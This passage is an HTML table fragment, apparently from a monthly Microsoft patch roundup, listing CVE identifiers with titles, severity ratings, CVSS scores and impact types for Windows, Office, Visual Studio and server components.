 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
